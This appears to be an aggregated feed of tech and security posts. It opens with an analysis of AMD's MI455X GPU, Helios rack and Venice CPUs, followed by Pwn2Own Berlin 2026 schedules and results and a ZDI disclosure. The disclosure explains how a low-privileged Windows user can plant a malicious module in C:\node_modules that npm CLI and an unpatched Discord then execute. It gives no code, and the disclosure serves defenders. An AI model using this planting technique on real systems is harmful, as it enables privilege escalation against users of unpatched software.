Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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The quest for greater tech independence

Sat, 25 Jul 2026 19:04:35 +0200

A complete decoupling from US technology is neither realistic nor necessary, but the changing environment does require nations and companies to reassess their relationships and dependencies

Top 10 Most Dangerous AI Tools Used By Hackers In 2024 (INTEL-AS-A-WEAPON)

Sat, 25 Jul 2026 19:04:29 +0200

YouTube Video

Node.js Trust Falls: Dangerous Module Resolution on Windows

Sat, 25 Jul 2026 19:02:58 +0200

In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.

The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in C:\node_modules as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.

This issue is not new. Concerned discussions about Node.js's module search path behavior date back to 2013 and 2014.

Node.js has explicitly stated that they consider this behavior intentional:

"Node.js trusts the file system."

They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers.

Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue

As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.

Root Cause

The root cause lies in the way Node.js performs module resolution. This is documented here. Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.

When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:

C:\Users\Administrator\projects\node_modules\bar.js
C:\Users\Administrator\node_modules\bar.js
C:\Users\node_modules\bar.js
C:\node_modules\bar.js <-- The problem

If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create C:\node_modules and place a malicious package there. Once the low-privileged user has populated C:\node_modules\bar.js, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s guidelines, third-party dependencies end up triggering this vulnerability anytime you launch the application.

Case Studies: Real-World Manifestations

The Optional Dependency Pattern: npm supports optional dependencies to be specified in the project’s package.json file. The recommended pattern for checking for these dependencies is as follows:

Figure 2: npm Docs showing optionalDependencies example code

This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to C:\node_modules where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where /node_modules at the filesystem root is typically only writable by root. Windows systems by default allow any user to create C:\node_modules. Once require is called, Node.js will traverse the search path and execute any matching module it finds.

Important things to note:

This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.
There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.
The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in C:\node_modules.

Let’s take a deeper look at both cases and see why this is so dangerous.

Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775).

Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”.

Figure 3: npm CLI repo snippet showing require call for missing bluebird package dependency

When Node.js is installed on the system, npm is included by default without the bluebird package. This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (https://github.com/npm/cli/pull/1438/changes), demonstrating how easy it is for developers to unknowingly create this attack surface.

We can see Node’s package resolution logic at work in the screenshot below:

Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775

First, the application looks for the bluebird.js package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed C:\node_modules\bluebird.js, the require call will find, read, and execute the malicious payload in the context of any user running npm on the system.

This vulnerability is especially dangerous because it is triggered when many npm * cli commands are used. Common development commands such as npm install, npm –l, and npm prune will all execute the malicious bluebird.jspackage.

Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)

On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:

Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency

Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled C:\node_modules\utf-8-validate.js is executed.

Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776

The ws library does support disabling this check via the WS_NO_UTF_8_VALIDATE environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:

Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues.

The Bigger Picture

The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports. These issues in Mongo DB Compass and Mongo DB Shell are just two other examples.

Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.

Each vendor has clearly stated that they will not treat these issues as vulnerabilities:

NPM’s response to our report:

“exploits that require local access to a machine are considered ineligible for npm CLI

Discord’s response to our report:

“We do not consider physical/local attacks as valid security issues”

Node.js, in the “Examples of non-vulnerabilities” section of their Security Policy:

“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.”

Conclusion

The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to C:\node_modules. Without a fix from Node.js, the burden silently falls on application developers.

Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI.

We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at @bobbygould5 and @izobashi, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

DISCLOSURE TIMELINES

NPM CLI:

2024-11-13 – ZDI submitted the report to the vendor

2024-11-13 – The vendor acknowledged the receipt of the report

2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues

2025-08-05 – ZDI encouraged the vendor to re-assess the issue

2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory

DISCORD:

2025-07-08 – ZDI notified vendor

2025-09-11 – ZDI followed up with vendor

2025-09-15 – Vendor stated they do not consider local attacks as valid security issues

2025-12-01 – ZDI explained why we believe the issue is still valid

2025-12-10 – Vendor replied that the vulnerability is still out of scope

2025-12-11 – ZDI informed vendor of intent to publish 0-day

REFERENCES

https://nodejs.org/api/modules.html#loading-from-node_modules-folders

https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies

https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1

https://github.com/nodejs/node-v0.x-archive/issues/8830

https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require

https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities

Pwn2Own Berlin 2026: The Full Schedule

Sat, 25 Jul 2026 19:02:56 +0200

Willkommen! (Welcome!) Pwn2Own Berlin 2026 has arrived at OffensiveCon, and the world’s top security researchers are ready. This year’s enterprise-focused competition features AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products.

Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.

In case you missed it, you can watch the draw here.

Jump to:

Day One

Day Two

Day Three

DAY ONE

Thursday, May 14 - 1030

chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points

Thursday, May 14 - 1130

k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1300

Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1400

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.

Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1500

Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1530

maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1600

Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Thursday, May 14 - 1630

haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1730

chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1800

@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1830

Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1900

haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Back to top

DAY TWO

Friday, May 15 - 1030

Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Friday, May 15 - 1130

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1300

Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1330

Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points

Friday, May 15 - 1400

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1430

Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1530

Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1600

@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1630

Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1700

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1800

Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Back to top

DAY THREE

Saturday, May 16 - 1100

Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Saturday, May 16 - 1330

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Saturday, May 16 - 1430

splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Saturday, May 16 - 1600

Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Follow the action live! We’ll be posting real-time updates and results throughout the competition on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage.

Pwn2Own Berlin 2026 - Day Two Results

Sat, 25 Jul 2026 19:02:55 +0200

Day Two of Pwn2Own Berlin 2026 and the stakes continue to rise! Security researchers are back on the Pwn2Own stage, pushing enterprise systems to their limits as the competition heats up. More exploits, more surprises, and more standout moments are unfolding, so follow along here for live updates as the race for Master of Pwn intensifies. There were plenty of big targets on the schedule today, including SharePoint, Exchange, and Safari.

Following an action-packed Day One where $523,000 was awarded for 24 unique 0-day vulnerabilities, Day Two added another $385,750 and 15 unique 0-days, bringing event totals to $908,750 with 39 unique vulnerabilities overall. DEVCORE holds a commanding lead for Master of Pwn with 40.5 points and $405,000, but with one day still to go, anything can happen. Here are the standings as of Day Two but we'll see what the final day of the contest brings. Stay tuned!

We’ll be posting real-time updates and results throughout the competition right here on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage.

FAILURE - Unfortunately, Tao Yan & Edouard Bochin of Palo Alto Networks could not get their exploit of Apple Safari – Renderer Only working within the time allotted.

FAILURE - Unfortunately, Stephen Fewer of Rapid7 could not get their exploit of Microsoft SharePoint working within the time allotted.

SUCCESS - Ben Koo (@kiddo_pwn) of Team DDOS used a use-after-free bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the second round, earning $10,000 and 1 Master of Pwn point.

SUCCESS - Dialed in! Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) & Bruno Halltari (@BrunoModificato) of OtterSec used a Code Injection bug to exploit LM Studio in the second round, earning $20,000 and 4 Master of Pwn points. Full win!

COLLISON - Although successful on stage, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Claude Desktop in the Coding Agent category used a bug that was previously known. They still earn $10,000 and 2 Master of Pwn points.

SUCCESS - Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) exploited Cursor, earning $30,000 and 3 Master of Pwn points. Full win!

WITHDRAWAL - Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics has withdrawn their entry for Apple Safari – Renderer Only in the Web Browser category.

FAILURE - Unfortunately, Ruitong of Abstract Team, University of Colorado Boulder could not get their exploit of Red Hat Enterprise Linux for Workstations working within the time allotted.

SUCCESS - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) exploited OpenAI Codex in the second round, earning $20,000 and 4 Master of Pwn points.

COLLISON - Although successful on stage, Billy (@st424204), Bruce Chen (@bruce30262), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting NVIDIA Megatron Bridge used a bug that was previously known. They still earn $2,500 and 1 Master of Pwn point.

WITHDRAWAL - Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) have withdrawn their entry for Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team chained 3 bugs to achieve Remote Code Execution as SYSTEM on Microsoft Exchange, earning $200,000 and 20 Master of Pwn points.

SUCCESS / COLLISON - David Tae & Louis Hur of Out Of Bounds targeted Ollama, hitting a one-vulnerability collision with a previous attempt and earning $28,000 and 3 Master of Pwn points.

FAILURE - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) could not get their exploit of Mozilla Firefox – Renderer Only working within the time allotted.

SUCCESS - Cyrill Bannwart, Emanuele Barbeno, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security exploited Cursor in the second round, earning $15,000 and 3 Master of Pwn points.

SUCCESS - Siyeon Wi used an integer overflow bug to escalate privileges on Microsoft Windows 11 in the fourth round, earning $7,500 and 3 Master of Pwn points.

SUCCESS / COLLISON - Byung Young Yi (@yibarrack) of Out Of Bounds targeted LiteLLM, hitting a one-vulnerability collision with a previous attempt and earning $17,750 and 3.75 Master of Pwn points.

SUCCESS - Confirmed! 0xDACA (@0xDACA) & Noam Trobishi (@NTrobishi) used a use-after-free bug to exploit NV Container Toolkit in the second round, earning $25,000 and 5 Master of Pwn points.

Pwn2Own Berlin 2026 - Day One Results

Sat, 25 Jul 2026 19:02:55 +0200

Welcome to Day One of Pwn2Own Berlin 2026! Today, 22 entries took the Pwn2Own stage to target AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products, as the world’s top security researchers push technology to its limits. Exploits, surprises, and breakthrough discoveries are unfolding.

After Day One, we awarded $523,000 for 24 unique 0-days! DEVCORE is currently in the lead for Master of Pwn, but a pack of teams are right on their heels. Stay tuned tomorrow for more results and surprises.

FAILURE - Unfortunately, Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) could not get their exploit of OpenAI Codex working within the time allotted.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points.

SUCCESS - chompie of IBM X-Force Offensive Research (XOR) used a single bug to exploit NV Container Toolkit, earning $50,000 and 5 Master of Pwn points.

SUCCESS - k3vg3n chained 3 bugs including SSRF and Code Injection to take down LiteLLM. $40,000 and 4 Master of Pwn points. Full win.

SUCCESS - Satoki Tsuji (@satoki00) of Ikotas Labs, Inc. used an Overly Permissive Allowed List bug to exploit NVIDIA Megatron Bridge, earning $20,000 and 2 Master of Pwn points.

FAILURE - Unfortunately, Park Jae Min could not get their exploit of Oracle Autonomous AI Database working within the time allotted. #Pwn2Own #P2OBerlin

SUCCESS - Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) used a single CWE-150 bug to exploit OpenAI Codex, earning $40,000 and 4 Master of Pwn points.

SUCCESS - Angelboy (@scwuaptx) & TwinkleStar03 (@_twinklestar03) of DEVCORE Research Team used an Improper Access Control bug to escalate privileges on Microsoft Windows 11, earning $30,000 and 3 Master of Pwn points.

WITHDRAWAL - Ben Koo (@kiddo_pwn) of Team DDOS has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

FAILURE - Unfortunately, Interrupt Labs could not get their exploit of NV Container Toolkit working within the time allotted

COLLISON - Although successful on stage, the Ikotas Labs, Inc. team targeting LiteLLM in the Local Inference category used bugs that were previously known. They still earn $8,000 and 1.75 Master of Pwn points.

SUCCESS - Yoseop Kim (@pwning_me) used a CWE-470 bug to exploit NVIDIA Megatron Bridge in the second round, earning $10,000 and 2 Master of Pwn points.

COLLISON - Although successful on stage, maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category used a bug that was previously known to the vendor. They still earn $10,000 and 2 Master of Pwn points.

WITHDRAWAL - Yoseop Kim(@pwning_me) has withdrawn their entry for Mozilla Firefox – Renderer Only in the Web Browser category

